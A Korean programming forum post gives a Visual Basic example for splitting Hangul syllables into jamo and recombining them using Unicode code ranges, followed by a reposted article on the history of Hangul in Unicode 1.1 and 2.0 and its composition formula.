출처 : http://dolba.net/k2club/bbs/bbs.php3?board=vbasic&mode=view&id=17&page=1&recnum=17&keyword=&flag=

Visual Basic 유니코드 분리/조합 예제


'''''''''''''''''''''''''''''''''''''''''''''''''''
' 그냥 만들어본 문자 분리/조합 예제 ^^* '
' --------------------------------- '
' 작성자 : 꽃사냥꾼 wldypark@kornet.net '
' 특기 : '
' 이 예제는 공개용으로 작성되었습니다. '
' 맘껏 나누셔도 좋은데요, 누가 만들었는지 기억해 '
' 주시면 감사하구요..^^* '
'.................................................'

Option Explicit

'원래는 유니코드 및 조합형 문서 변환 프로젝트에 있는 것을
'그대로 베껴온 부분...
'(종합선물 세트로 만들려다가 결국 보류상태가 되어버렸죠..)
'(문서 변환, 자모 분리/조합, 특수문자 보는 문자보기 기능 등등...
'(다 하려다보니 제풀에 지쳐서...-_-)

Public Const COMH_BEGIN = &HAC00 '문자로 완성된 한글 테이블의 시작점
Public Const COMH_END = &HD7A3 '문자로 완성된 한글 테이블의 끝점
Public Const UF_BEGIN = &H1100 '초성 테이블의 시작
Public Const UM_BEGIN = &H1161 '중성 테이블의 시작
Public Const UL_BEGIN = &H11A8 '종성 테이블의 시작
Public Const UL_FILL = &H11A7 '1100h호환 테이블과 CJK테이블을 위해 임의로...

'=================
'ExtractSylables()
'-----------------
'자소를 분리해서 참조 인수로 자소값을 리턴하는 버전...
'입력은 맨 앞의 코드 값하구요, 맨 뒤의 옵션 인자 입니다..
'만일 True를 설정하면 유니코드 테이블에서 제공하는 1100h테이블의 값으로 출력,
'그렇지 않으면 0부터 시작하는 일반 테이블값으로 출력합니다..
'이 기능이 속도를 저하한다고 생각된다면...
'당연히 필요한 기능만 분리해서 사용해야 하겠죠..

Public Function ExtractSylables(uCode As Integer, RetF As Integer, RetM As Integer, RetL As Integer, Optional AsUnicodeTable As Boolean = False) As Boolean
Dim FS As Integer, MS As Integer, LS As Integer
'초성, 중성, 종성의 순서...

'완성된 한글 문자인지 검사
If (uCode >= COMH_BEGIN) And (uCode <= COMH_END) Then
'테이블에서의 시작 위치를 구함...
uCode = uCode - COMH_BEGIN

LS = uCode Mod 28 '종성을 얻어냄
uCode = uCode \ 28 '중성과 초성을 분리
MS = uCode Mod 21 '중성을 얻어냄
FS = uCode \ 21 '초성을 얻어냄

'옵션에 따라 테이블 값을 출력
If AsUnicodeTable Then
RetF = FS + UF_BEGIN
RetM = MS + UM_BEGIN
RetL = LS + UL_FILL
Else
RetF = FS
RetM = MS
RetL = LS
End If

'분리에 성공...
ExtractSylables = True
Else
'분리하지 않음...
ExtractSylables = False
End If

End Function

'==============
'ComposeHCode()
'--------------
'자소를 받아서 한 문자로 조합합니다.
'오토마타나 키입력 변환 등의 작업과는 관계가 없습니다..
'단순히 세 인수를 받아서 문자를 완성할 뿐이죠..
'기능상 별 필요는 없는 함수가 되겠지만...
'혹시 조합하는 법을 잊어버리거나 할 때 참고한다는 의미로...^^;

Public Function ComposeHCode(FS As Integer, MS As Integer, LS As Integer, Optional AsUnicodeTable As Boolean = False) As Integer
'위와 마찬가지로 초성, 중성, 종성...의 순으로 합니다..

If AsUnicodeTable Then
'유니코드 테이블의 값으로 되어 있다면...
ComposeHCode = &HAC00 + ((FS - UF_BEGIN) * 21 + (MS - UM_BEGIN)) * 28 + (LS - UL_FILL)

Else
'일반 테이블의 값으로 되어 있다면..
'주의할 점은 반드시 Fill의 값이 0이어야 한다는 것...
ComposeHCode = COMH_BEGIN + (FS * 21 + MS) * 28 + LS

End If

End Function

'---------------------------------------------------------------
'위의 함수는 한가지 문제점을 가지고 있습니다..
'유니코드에서 제공하는 1100h부터 시작하는 코드페이지는...
'원래 '유니코드 조합형 한글'이라는 명칭을 가진 테이블입니다..
'대개 사용되는 AC00h부터의 코드페이지는...
''유니코드 완성형 한글'이라는 명칭을 가지고 있죠..
'하지만, 실제로 낱개로 된 자소는 CJK페이지의 값으로 되어 있습니다.
'즉, AscW("ㄱ") 하면, '1100'이 아닌 '3131'이 나온다는 것이죠..
'차이점이 있다면...
'1100h페이지는 초성, 중성, 종성 별로 정리되어 있구요,
'CJK페이지는 자음과 모음으로 분리해서 정리되어 있다는 점입니다.
'따라서, 눈에 보이는 자음이 초성인지 종성인지 구별해야만 한글의
'조합이 가능하다는 것이죠..
'그리고 조합을 하기 위해 CJK페이지를 조합형 페이지로 전환하는
'테이블이 필요합니다..
'만들어 놓긴 했는데... 테스트를 안해봐서...
'(바로 이 부분에서 중단되었거든요..)
'---------------------------------------------------------------

'=============
'ExtractHStr()
'-------------
'이 함수는 지금 만든 따끈한 겁니다..
'어차피 핵심부분은 같지만,
'문자 단위가 아닌 문자열을 좌~악 풀어놓으면 어떨까 하는 장난끼가...^^;
'암튼 한글과 영문 등이 섞인 문자열을 넣으면 한글은 자소로 분리해서,
'나머지는 그대로 출력합니다..
'사용 예: Print ExtractHStr("덧")
' => ㄷㅓㅅ
' Print ExtractHStr("미ting하는 장소")
' => ㅁㅣtingㅎㅏㄴㅡㄴ ㅈㅏㅇㅅㅗ


Public Function ExtractHStr(HString As String) As String
'자모분리 출력함수 단순 버전
''ㅘ'나 'ㅟ'같은 것도 분리하게 하면 좋겠죠..
'이런 것 역시 프로젝트에 있는 내용입니다만...

Dim FS As Integer, MS As Integer, LS As Integer '각 자소의 값
Dim uCode As Integer '문자의 코드
Dim tmpStr As String '임시 문자열
Dim i As Integer 'Integer

'문자열이 없으면 그냥 종료
If HString = "" Then Exit Function

'문자열의 처음에서 끝까지 룹
For i = 1 To Len(HString)
'한 문자를 선택해서
uCode = AscW(Mid$(HString, i, 1))

'완성된 한글 문자라면...
If (uCode >= COMH_BEGIN) And (uCode <= COMH_END) Then
'테이블에서의 시작 위치를 구함...
uCode = uCode - COMH_BEGIN

LS = uCode Mod 28 '종성을 얻어냄
uCode = uCode \ 28 '중성과 초성을 분리
MS = uCode Mod 21 '중성을 얻어냄
FS = uCode \ 21 '초성을 얻어냄

'초성과 중성을 기록하고...
tmpStr = tmpStr & ChrW(UF_BEGIN + FS) & ChrW(UM_BEGIN + MS)
'종성이 있다면 붙임..
If LS Then
tmpStr = tmpStr & ChrW(UL_FILL + LS)
End If
Else

'완성된 한글문자가 아니면 그냥 붙임..
'이 부분을 개선해야 보다 보기 좋게 출력됩니다..
tmpStr = tmpStr & ChrW(uCode)
End If
Next i

ExtractHStr = tmpStr

End Function


[수정]

답장 EzDoum 2006년 03월 26일 오후 02:41 [ 이글에 답장 | 본문에 답장 | 책갈피 ]
주제: 유니코드 2.0 (03/22 20:21)

--------------------------------------------------------------------------------

http://www.tipi.co.kr/bbs/jjs_data2.asp?mode=view&no=927


========================================
한글문제 해결되다...........유니코드 2.0
========================================
한글, 아직도 계속되는 코드 논쟁은 언제 종지부를 찍을지는 아무도 장담하지 못한다. 처음 단추를 잘못끼운 때문에, 새로 처음부터 단추를 끼우지 못하면 오히려 더욱 혼란만 가속되리라는 것은 현재의 코드 논쟁을 보는 전문가들의 의견이 대부분이다.
이런 차에 미국의 유수 컴퓨터 관련 업체들을 중심으로 새로운 국제 문자 코드가 논의되었는데 일명 유니 코드라고 불리우는 것이다.
유니 코드의 탄생 배경은 다음과 같다. 영어 문자권의 기반을 가지고있는 컴퓨터는 그 근간이 아스키 코드를 배경으로 하고 있다. 하지만 이것은 동양권의 2바이트 문자 체계를 수용하기에는 무리가 있는 시스템이었으며, 국제 표준화 기구인 ISO에서 제정한 ISO 2022 마저도 이 문제에 대한 확실한 대안은 아니었다.
또한 동양권의 컴퓨터 관련 시장을 공략하기 위해서도 미국 등의 유수의 S/W, H/W업체에게는 문자 코드 문제가 가장 시급한 걸림돌이었다. 따라서 이 모든 문제를 해결하기 위해서는 기존의 ASC II에서 사용하는 8비트 체계가 아닌 16비트(2바이트) 코드로의 확장만이 유일한 방법이었던 셈이다. 2바이트 체계로 전환된 코드는 65536으로 코드 영역이 확장됨으로 전세계의 문자 체계를 수용할 수 있고, 여유부분에는 확장을 대비할 수도 있다.


1) 유니 코드 1.0 & 1.1
초기에 새롭게 설계된 국제 코드는 국제 표준화 기구(ISO)의 ISO/IEC 10646과 IBM, MS 등등의 컴퓨터 관련 업체들로 나뉘어진 유니코드 진영으로 이원화 체제로 발전되어 왔다. 그러나 여러 단계를 거친후 두 코드는 하나로 통합되어 현재의 유니 코드로 발전되었다.
-1984년
ISO TC97/SC2 동경회의에서 국제 문자 코드의 표준화 추진을 위한 Working Group 구성
-1986년
TC97의 후신인 JTC1에서 각국에 판(plane) 할당
-1989년
요르단 암만회의 : 한.중.일. 한자어에 대한 통합 논의
-1990년
한자 통합을 위한 CJK-JRG(China, Japan, Korea-Joint Technical Committee) 구성, 한글 2350자를 기본 다국어 문자판(BMP; Basic multilingual Plane)에 수록
-1991년
프랑스 르노회의 : 미국 유니코드안을 수용, 대폭적인 구조 수정, 각국의 문자판에 관한 논의 배제, KSC 5657의 한글 추가, 한.중.일 통합 한자 수록
-1992년 6월
서울 회의 : 구조 변경 확정, 한글 완성자 및 새로운 방식의 조합형 한글 구현 방식 추가 및 옛 한글 완성자(1673자) 삭제
-1993년 5월
그리스 아테네 회의

초기의 유니 코드 1.1 (& ISO 10646)에 수록된 한글은 전부 합해서 6656자로서 11172자에서 4516자가 빠진 상태에서 1993년 발표되었다. 여기에 들어간 한글은 제대로 소트되지 않은 상태였으므로 실제 사용하기에는 많은 문제가 있었다.
한글이 전부 유니코드에 들어가지 못했던 이유는, 11172자를 사용하게 되면 유니코드의 1/4 이상의 영역을 한글이 사용하게 됨으로 이를 달갑게 생각지 않은 미국, 중국, 일본등이 반대했기 때문이다.



2)유니 코드 2.0 (& ISO 10646 개정판)
1995년 새롭게 발표된 유니 코드 2.0에서는 한글 11172자가 모두 지원된다. 또한 기존의 뒤죽박죽이었던 배열과는 달리 완벽하게 "가나다라" 순으로 소트된 상태로 배열되었기 때문에 기존의 조합형의 장점과 완성형의 장점을 가진체로 지정되었다.

Unicode 2.0
---- 11,172 : Hangeul ------ U+AC00 - U+D7A3

유니 코드에는 일명 첫가끝(=정음형)이라고 불리우는 한글 초중성 자모가 들어있다. 이것을 이용하면 한글 조합 코드를 만들수 있는데 하나의 자모가 2바이트를 차지하게 됨으로 초중종성의 조합에 따라 4바이트 혹은 6바이트의 한글 코드가 만들어진다. 물론 이방법이 완벽한 한글 조합 코드가 되겠지만, 이럴 경우 메모리의 낭비가 심해지고, 가변적인 크기를 가짐으로 데이터 처리가 어렵다는 단점이 있다. 따라서 컴퓨터 사용자들은 보다 현실적인 코드인 2바이트 조합형을 선호하는데, 이 코드로서 만들어질 수있는 한글인 11172자를 유니코드상에 "가나다순" 으로 배열하게 된 것이다.

유니 코드 자체는 완성형의 성격을 띄고 있다 그러나 기존의 KSC 5601-87과 같은 절음발이 한글이 아닌 모든 한글이 포함되어 있으므로 간단한 계산만으로 조합형 코드를 얻을 수 있다. (기존의 KSC 5601-87은 변환 테이블을 이용해야만 했다.)


3) 2 바이트 조합형 코드, 유니코드 그리고 첫가끝 한글 코드의 관계
첫가끝 한글 코드의 사용을 주장하는 사람들이 있는데, 이로인하여 기존의 2 바이트 조합형 코드와 우리 나라가 유니코드와 ISO에 제안한 11172자 한글과의 관계에 대해 많은 사람들이 혼란을 겪었다.

그러나 기존의 2 바이트 조합형 코드와 유니코드의 11172자 한글은 거의 동일한 코드 체계라고 할 수 있다. 유니코드 한글 코드 체계는 조합 가능한 모든 한글에 코드 영역을 할당해 줌으로 간단한 계산에 의해 한 음절을 구성하는 자소 들을 분리해 낼 수 있다는 점에서 기존의 2 바이트 조합형 한글 코드와 같고, 기존의 2 바이트 조합형 한글 코드의 3분의 1 정도의 코드 영역을 사용한다는 점에서 효율성이 높은 코드 체계이다.


음절의 코드 값과 음절을 구성하는 자모의 관계를 나타낸 공식
[s 는 음절, x 는 초성, y 는 중성, z 는 종성, c1은 총 중성 수 (21), c2 는 총 종성 수(2]

s = x X c1 X c2 + y X c2 + z


<유니코드에서 지원하는 11172자 한글 코드 개요>


유니코드 2.0의 한글 코드

한글 음절: 0xAC00 ~ 0xD7A3 (11172 자)

조합형 코드: 초성(19개) × 중성(21개) × 종성(28개)
→ 자모 조합과 자모 분리가 용이하다.
모든 현대 한글 표현 가능 (KS-C-5601의 한글 음절 모두 포함)

유니코드 2.0은 유니코드 1.1과 한글 표현 방식이 달라서 서로 호환되지 않는다.
부코드 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
초성 ㄱ ㄲ ㄴ ㄷ ㄸ ㄹ ㅁ ㅂ ㅃ ㅅ ㅆ ㅇ ㅈ ㅉ ㅊ ㅋ ㅌ ㅍ ㅎ

중성 ㅏ ㅐ ㅑ ㅒ ㅓ ㅔ ㅕ ㅖ ㅗ ㅘ ㅙ ㅚ ㅛ ㅜ ㅝ ㅞ ㅟ ㅠ ㅡ ㅢ ㅣ

종성 없음 ㄱ ㄲ ㄳ ㄴ ㄵ ㄶ ㄷ ㄹ ㄺ ㄻ ㄼ ㄽ ㄾ ㄿ ㅀ ㅁ ㅂ ㅄ ㅅ ㅆ ㅇ ㅈ ㅊ ㅋ ㅌ ㅍ ㅎ

3벌식 한글 자모 문자: 0x1100 ~ 0x11F9 (240 개)
: 채움 문자 (filler)를 사용하여 옛한글 표현 가능


분 류 코드 범위
현대 초성 0x1100 ~ 0x1112 (19 개) (유니코드 2.0 한글 음절의 초성)
옛 초성 0x1113 ~ 0x1159 (71 개)
초성 글자 채움 0x115F
현대 중성 0x1161 ~ 0x1175 (21 개) (유니코드 2.0 한글 음절의 중성)
옛 중성 0x1176 ~ 0x11A2 (45 개)
중성 글자 채움 0x1160
현대 종성 0x11A8 ~ 0x11C2 (27 개) (유니코드 2.0 한글 음절의 종성) 옛 종성 0x11C3 ~ 0x11F9 (55 개)

===============================

'한글 음절: 0xAC00 ~ 0xD7A3 (11172 자)
for n=&HAC00 to &HD7A3
response.write n & "--" & hex(n) & "--" & chr(n)
next
[수정]

자판 시뮬레이터 만들면서 필요했던 VB팁들 | 답장: 2개 | 본문에 답장
정렬 :  

답장 쓰기
글을 올리시려면 로그인 (사용자 등록) 하셔야 합니다.

검색
Google

분류
·공지 (6)
·인터넷 (87)
·하드웨어 (260)
·C/C++ (65)
·어셈블리 (7)
·리눅스 (136)
·리눅스 커널 (67)
·윈도우즈 (25)
·데이터베이스 (20)
·보안 (16)
·.NET (25)
·그래픽 (13)
·책소개 (42)
·호기심 천국 (80)
·잡담 (111)
·사랑 (3)

전체 본문수: 963
전체 답장수: 525


분류 : 호기심 천국
최근글
최근글
가장 많이 읽은 글
·흐흐 잼있는 탈것일쎄, AIRBOARD (0)
뜨거운 감자
·Image Transforms - Hough Transform (4)

EzDoum투표
이지도움 어때요?
이게 뭐야. 다시 안올란다. --;
아이 좋아라~ +_+;
관심없다.
먼가는 있는거 같은데 뭐하는 곳이지?
기타 (자유게시판에 글로 남겨 주세요)
[ 결과 | 투표 ]

랜덤 링크
http://kldp.net


 Home ^ BACK TO TOP ^ EzDoum - 도움이 필요하세요~??
 Powered by KorWeblog 1.5.8 Copyleft © 2001 EzDoum, 관리자: EzDoum